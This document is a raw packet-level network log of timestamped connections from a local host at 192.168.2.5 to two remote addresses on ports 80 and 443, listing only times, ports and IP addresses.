Feb 20, 2024 23:46:07.922367096 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922403097 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922416925 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922430992 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922473907 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922482967 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922518015 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922544956 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922561884 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922616005 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922635078 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922647953 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922660112 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922672987 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922687054 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922688961 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922705889 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922708035 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922724962 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922745943 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922746897 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922765970 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922781944 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922796965 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922804117 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922820091 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922823906 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922858000 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922871113 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922883034 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922895908 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922902107 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922918081 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922919989 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922944069 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.922960997 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922974110 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.922998905 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923003912 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923017025 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923039913 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923057079 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923069954 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923090935 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923135042 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923146963 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923161030 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923172951 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923180103 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923197985 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923202038 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923216105 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923235893 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923253059 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923265934 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923279047 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923293114 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923300982 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923326969 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923372030 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923410892 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923425913 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923441887 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923458099 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923474073 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923479080 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923491001 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923516989 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923543930 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923557043 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923568964 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923588991 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923599958 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923612118 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923619986 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923655987 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923660994 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923680067 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923692942 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923715115 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923738003 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923751116 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923777103 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923789978 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923823118 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923842907 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923846006 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923861980 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923876047 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923898935 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923908949 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923922062 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923928022 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.923984051 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.923989058 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924001932 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924037933 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.924057961 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924082041 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924124002 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.924160957 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924180031 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924192905 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924206018 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924222946 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924232006 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.924257040 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.924308062 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924320936 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924333096 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924369097 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.924371004 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924376965 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.924390078 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924427032 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924427032 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.924467087 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:07.924503088 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:07.966207027 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:07.966239929 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:07.966327906 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:07.966943026 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:07.966955900 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.121315956 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.121335983 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.121422052 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.121510983 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.121584892 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.121656895 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.121669054 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.121722937 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.121892929 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.121958017 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.122049093 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.122109890 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.122153997 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.122170925 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.122217894 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.122684956 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.122720003 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.122767925 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.122808933 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.122817993 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.122869968 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.122992992 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.123059988 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.123106956 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.123142004 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.123187065 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.123234987 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.123281956 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.123346090 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.123419046 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.123433113 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.123462915 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.123490095 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.123488903 CET	80	49719	5.101.153.86	192.168.2.5
Feb 20, 2024 23:46:08.155983925 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.156217098 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.156227112 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.156558990 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.156969070 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.157035112 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.157243967 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.157269001 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.168793917 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:08.369611025 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.369652987 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.369673014 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.369704008 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.369713068 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.369755983 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.369808912 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.375457048 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.375514984 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.375531912 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.375536919 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.375638008 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.381725073 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.386193037 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.386221886 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.386249065 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.386254072 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.386317968 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.392379045 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.433465004 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.457510948 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.460592985 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.460618019 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.460663080 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.460675001 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.460885048 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.466779947 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.473040104 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.473148108 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.473154068 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.479285002 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.479327917 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.479332924 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.485503912 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.485532999 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.485575914 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.485589027 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.485667944 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.491847992 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.491924047 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.491995096 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.491998911 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.497956991 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.498023987 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.498029947 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.503391027 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.503494978 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.503500938 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.508972883 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.509048939 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.509062052 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.514556885 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.514640093 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.514646053 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.520179987 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.520226955 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.520232916 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.528510094 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.528537989 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.528578997 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.528584003 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.528659105 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:08.528675079 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.528721094 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.528826952 CET	49723	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:08.528840065 CET	443	49723	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.069982052 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.070027113 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.070122004 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.071296930 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.071315050 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.149118900 CET	49719	80	192.168.2.5	5.101.153.86
Feb 20, 2024 23:46:09.277313948 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.281495094 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.281507969 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.281991959 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.285474062 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.285624981 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.286287069 CET	49730	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.286319971 CET	443	49730	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.286389112 CET	49730	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.286740065 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.286761999 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.287081957 CET	49730	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.287096977 CET	443	49730	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.456309080 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.456374884 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.456407070 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.456419945 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.456439018 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.456480980 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.456511021 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.456518888 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.456530094 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.456542015 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.462219000 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.463112116 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.463129044 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.468369961 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.468436003 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.468451023 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.474644899 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.474706888 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.474724054 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.477459908 CET	443	49730	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.479322910 CET	49730	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.479348898 CET	443	49730	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.479703903 CET	443	49730	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.506788969 CET	49730	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.506962061 CET	443	49730	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.508681059 CET	49730	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.508698940 CET	443	49730	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.519398928 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.519431114 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.552242041 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.552352905 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.552426100 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:09.701870918 CET	443	49730	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.702025890 CET	443	49730	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:09.702090025 CET	49730	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:10.321011066 CET	49728	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:10.321047068 CET	443	49728	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:10.346903086 CET	49730	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:10.346946955 CET	443	49730	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:10.486653090 CET	49731	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:10.486707926 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:10.486785889 CET	49731	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:10.487220049 CET	49731	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:10.487230062 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:10.681159973 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:10.778604031 CET	49731	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.287168980 CET	49731	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.287192106 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.287787914 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.289479971 CET	49731	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.289551973 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.290776968 CET	49731	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.333905935 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.473371029 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.473444939 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.473507881 CET	49731	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.473520994 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.473644018 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.473709106 CET	49731	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.473715067 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.476006985 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.476144075 CET	49731	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.482201099 CET	49732	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.482230902 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.482296944 CET	49732	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.482481956 CET	49732	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.482497931 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.511061907 CET	49731	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.511084080 CET	443	49731	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.671638966 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.671890020 CET	49732	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.671902895 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.672249079 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.672532082 CET	49732	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.672593117 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.672729969 CET	49732	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.713916063 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.871737003 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.871783018 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.871814013 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.871828079 CET	49732	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.871843100 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.871871948 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.871877909 CET	49732	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.871886015 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.871923923 CET	49732	443	192.168.2.5	142.250.81.228
Feb 20, 2024 23:46:12.871927977 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.879693985 CET	443	49732	142.250.81.228	192.168.2.5
Feb 20, 2024 23:46:12.879776001 CET	49732	443	192.168.2.5	142.250.81.228
